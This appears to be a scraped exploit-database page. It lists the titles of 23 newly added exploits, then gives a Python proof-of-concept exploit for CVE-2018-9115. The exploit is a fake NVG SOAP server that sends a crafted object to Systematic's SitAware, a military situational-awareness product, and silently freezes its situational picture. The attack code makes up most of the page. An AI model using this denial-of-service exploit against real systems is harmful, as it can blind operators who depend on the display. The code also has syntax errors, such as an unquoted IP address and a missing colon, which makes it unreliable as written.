a13c4ea572
23 changes to exploits/shellcodes SysGauge 4.5.18 - Local Denial of Service Systematic SitAware - NVG Denial of Service Allok AVI DivX MPEG to DVD Converter 2.6.1217 - Buffer Overflow (SEH) Allok Video Joiner 4.6.1217 - Stack-Based Buffer Overflow Allok WMV to AVI MPEG DVD WMV Converter 4.6.1217 - Buffer Overflow Faleemi Windows Desktop Software - (DDNS/IP) Local Buffer Overflow Advantech WebAccess < 8.1 - webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow osTicket 1.10 - SQL Injection osTicket 1.10 - SQL Injection (PoC) Open-AuditIT Professional 2.1 - Cross-Site Request Forgery Homematic CCU2 2.29.23 - Arbitrary File Write MiniCMS 1.10 - Cross-Site Request Forgery WordPress Plugin Relevanssi 4.0.4 - Reflected Cross-Site Scripting WordPress Plugin Contact Form 7 to Database Extension 2.10.32 - CSV Injection Homematic CCU2 2.29.23 - Remote Command Execution Joomla! Component Acymailing Starter 5.9.5 - CSV Macro Injection Joomla! Component AcySMS 3.5.0 - CSV Macro Injection WordPress Plugin WP Security Audit Log 3.1.1 - Sensitive Information Disclosure Tenda W308R v2 Wireless Router 5.07.48 - Cookie Session Weakness Remote DNS Change osCommerce 2.3.4.1 - Remote Code Execution Tenda W316R Wireless Router 5.07.50 - Remote DNS Change D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router - Authentication Bypass Tenda FH303/A300 Firmware V5.07.68_EN - Remote DNS Change Vtiger CRM 6.3.0 - Authenticated Arbitrary File Upload (Metasploit) Tenda W3002R/A302/w309r Wireless Router V5.07.64_en - Remote DNS Change (PoC)
63 lines
No EOL
2.5 KiB
Python
Executable file
63 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: SitAware NVG Denial of Service
|
|
# Date: 03/31/2018
|
|
# Exploit Author: 2u53
|
|
# Vendor Homepage: https://systematic.com/defence/products/c2/sitaware/
|
|
# Version: 6.4 SP2
|
|
# Tested on: Windows Server 2012 R2
|
|
# CVE: CVE-2018-9115
|
|
|
|
# Remarks: PoC needs bottlypy:
|
|
# https://bottlepy.org/docs/dev/
|
|
# https://raw.githubusercontent.com/bootlepy/bottle/master/bottle.py
|
|
|
|
# Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing
|
|
# the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means
|
|
# that the Situational Picture is no more updated. Unfortunately the user can not notice until
|
|
# he tries to work with the situational layer.
|
|
|
|
|
|
#!/bin/python
|
|
|
|
from bottle import post, run, request, response
|
|
|
|
LHOST = 127.0.0.1 # Local IP which the NVG server should use
|
|
LPORT = 8080 # Local Port on which the NVG server should listen
|
|
|
|
GET_CAPABILITIES = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
|
|
<ns3:GetCapabilitiesResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
|
|
<ns4:nvg_capabilities version="1.5">
|
|
</ns4:nvg_capabilities>
|
|
</ns3:GetCapabilitiesResponse>
|
|
</soap:Body>
|
|
</soap:Envelope>'''
|
|
|
|
EVIL_NVG = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
|
|
<ns3:GetNvgResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
|
|
<ns4:nvg version="1.5" classification="NATO UNCLASSIFIED">
|
|
<ns4:multipoint points="-0.01,0.01 0.02,-0.02 0.01,0.01" symbol="2525b:GFTPZ---------X"
|
|
label="EVILOBJ"/>
|
|
</ns4:nvg>
|
|
</ns3:GetNvgResponse>
|
|
</soap:Body>
|
|
</soap:Envelope>'''
|
|
|
|
@post('/nvg')
|
|
def soap():
|
|
action = dict(request.headers.items()).get('Soapaction')
|
|
action = action.replace('"', '')
|
|
print('Incoming connection')
|
|
|
|
response.content_type = 'text/xml;charset=utf-8'
|
|
|
|
if action.endswith('nvg/GetCapabilities'):
|
|
print('Sending capabilities to victim'...)
|
|
return GET_CAPABILITIES
|
|
print('Done! Waiting for NVG request...')
|
|
elif action.endswith('nvg/GetNvg'):
|
|
print('Sending evil NVG')
|
|
return EVIL_NVG
|
|
print('Done!')
|
|
else
|
|
print('Invalid request received')
|
|
|
|
run(host=LHOST, port=LPORT) |